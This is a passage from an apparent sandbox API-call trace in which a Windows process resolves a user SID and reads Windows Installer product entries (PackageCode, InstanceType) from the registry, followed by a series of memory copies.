TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.817] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.817] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.817] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.817] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.817] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.817] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\C025571B2A687A53689168CD7369889B", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.817] GetCurrentThreadId () returned 0xf50 [0068.817] GetCurrentThreadId () returned 0xf50 [0068.817] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.817] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.818] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.818] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.818] LocalFree (hMem=0x32f770) returned 0x0 [0068.818] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.818] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.818] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\C025571B2A687A53689168CD7369889B", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.818] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.818] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.818] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\C025571B2A687A53689168CD7369889B", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.818] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="C21C44A45E1638843A5DBCB198CD0247", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.818] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.818] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0068.818] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.818] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.818] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.818] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\C025571B2A687A53689168CD7369889B", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.818] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.818] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.818] lstrlenW (lpString="0") returned 1 [0068.818] lstrlenW (lpString="0") returned 1 [0068.819] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.819] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{4A44C12C-61E5-4883-A3D5-CB1B89DC2074}") returned 1 [0068.819] GetCurrentThreadId () returned 0xf50 [0068.819] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.820] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x27, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="c1c4f01781cc94c4c8fb1542c0981a2a", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.820] GetCurrentThreadId () returned 0xf50 [0068.820] GetCurrentThreadId () returned 0xf50 [0068.820] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.820] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.820] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.820] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.820] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.820] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.820] GetCurrentThreadId () returned 0xf50 [0068.820] GetCurrentThreadId () returned 0xf50 [0068.820] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.820] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.820] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.820] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.820] LocalFree (hMem=0x32f770) returned 0x0 [0068.820] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.821] GetCurrentThreadId () returned 0xf50 [0068.821] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.821] lstrlenW (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0068.821] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.821] GetCurrentThreadId () returned 0xf50 [0068.821] GetCurrentThreadId () returned 0xf50 [0068.821] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.821] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.821] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.821] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.821] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.821] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.821] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.821] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\c1c4f01781cc94c4c8fb1542c0981a2a", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.821] GetCurrentThreadId () returned 0xf50 [0068.821] GetCurrentThreadId () returned 0xf50 [0068.821] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.821] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.821] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.821] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.821] LocalFree (hMem=0x32f770) returned 0x0 [0068.822] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.822] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.822] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\c1c4f01781cc94c4c8fb1542c0981a2a", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.822] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.822] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.822] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\c1c4f01781cc94c4c8fb1542c0981a2a", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.822] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="84067013B7B56744BA0F51892982BC09", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.822] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.822] lstrlenW (lpString="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 38 [0068.822] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.822] lstrlenW (lpString="c1c4f01781cc94c4c8fb1542c0981a2a") returned 32 [0068.822] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.822] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\c1c4f01781cc94c4c8fb1542c0981a2a", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.822] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.822] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.822] lstrlenW (lpString="0") returned 1 [0068.823] lstrlenW (lpString="0") returned 1 [0068.823] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.823] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{31076048-5B7B-4476-ABF0-15989228CB90}") returned 1 [0068.823] GetCurrentThreadId () returned 0xf50 [0068.823] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.823] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x28, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="C3AEB2FCAE628F23AAB933F1E743AB79", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.823] GetCurrentThreadId () returned 0xf50 [0068.823] GetCurrentThreadId () returned 0xf50 [0068.823] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.823] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.823] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.823] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.823] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.823] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.823] GetCurrentThreadId () returned 0xf50 [0068.823] GetCurrentThreadId () returned 0xf50 [0068.823] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.824] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.824] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.824] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.824] LocalFree (hMem=0x32f770) returned 0x0 [0068.824] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.824] GetCurrentThreadId () returned 0xf50 [0068.824] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.824] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 38 [0068.824] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.824] GetCurrentThreadId () returned 0xf50 [0068.824] GetCurrentThreadId () returned 0xf50 [0068.824] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.824] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.824] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.824] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.824] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.824] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.824] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.824] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\C3AEB2FCAE628F23AAB933F1E743AB79", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.824] GetCurrentThreadId () returned 0xf50 [0068.825] GetCurrentThreadId () returned 0xf50 [0068.825] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.825] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.825] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.825] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.825] LocalFree (hMem=0x32f770) returned 0x0 [0068.825] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.825] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.825] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\C3AEB2FCAE628F23AAB933F1E743AB79", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.825] lstrlenW (lpString="C3AEB2FCAE628F23AAB933F1E743AB79") returned 32 [0068.825] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.825] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\C3AEB2FCAE628F23AAB933F1E743AB79", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.825] memcpy (in: _Dst=0x34a088, _Src=0x349538, _Size=0x48 | out: _Dst=0x34a088) returned 0x34a088 [0068.825] memcpy (in: _Dst=0x34a040, _Src=0x3494f0, _Size=0x48 | out: _Dst=0x34a040) returned 0x34a040 [0068.825] memcpy (in: _Dst=0x349ff8, _Src=0x3494a8, _Size=0x48 | out: _Dst=0x349ff8) returned 0x349ff8 [0068.825] memcpy (in: _Dst=0x349fb0, _Src=0x349460, _Size=0x48 | out: _Dst=0x349fb0) returned 0x349fb0 [0068.825] memcpy (in: _Dst=0x349f68, _Src=0x349418, _Size=0x48 | out: _Dst=0x349f68) returned 0x349f68 [0068.825] memcpy (in: _Dst=0x349f20, _Src=0x3493d0, _Size=0x48 | out: _Dst=0x349f20) returned 0x349f20 [0068.826] memcpy (in: _Dst=0x349ed8, _Src=0x349388, _Size=0x48 | out: _Dst=0x349ed8) returned 0x349ed8 [0068.826] memcpy (in: _Dst=0x349e90, _Src=0x349340, _Size=0x48 | out: _Dst=0x349e90) returned 0x349e90 [0068.826] memcpy (in: _Dst=0x349e48, _Src=0x3492f8, _Size=0x48 | out: _Dst=0x349e48) returned 0x349e48 [0068.826] memcpy (in: _Dst=0x349e00, _Src=0x3492b0, _Size=0x48 | out: _Dst=0x349e00) returned 0x349e00 [0068.826] memcpy (in: _Dst=0x349db8, _Src=0x349268, _Size=0x48 | out: _Dst=0x349db8) returned 0x349db8 [0068.826] memcpy (in: _Dst=0x349d70, _Src=0x349220, _Size=0x48 | out: _Dst=0x349d70) returned 0x349d70 [0068.826] memcpy (in: _Dst=0x349d28, _Src=0x3491d8, _Size=0x48 | out: _Dst=0x349d28) returned 0x349d28 [0068.826] memcpy (in: _Dst=0x349ce0, _Src=0x349190, _Size=0x48 | out: _Dst=0x349ce0) returned 0x349ce0 [0068.826] memcpy (in: _Dst=0x349c98, _Src=0x349148, _Size=0x48 | out: _Dst=0x349c98) returned 0x349c98 [0068.826] memcpy (in: _Dst=0x349c50, _Src=0x349100, _Size=0x48 | out: _Dst=0x349c50) returned 0x349c50 [0068.826] memcpy (in: _Dst=0x349c08, _Src=0x3490b8, _Size=0x48 | out: _Dst=0x349c08) returned 0x349c08 [0068.826] memcpy (in: _Dst=0x349bc0, _Src=0x349070, _Size=0x48 | out: _Dst=0x349bc0) returned 0x349bc0 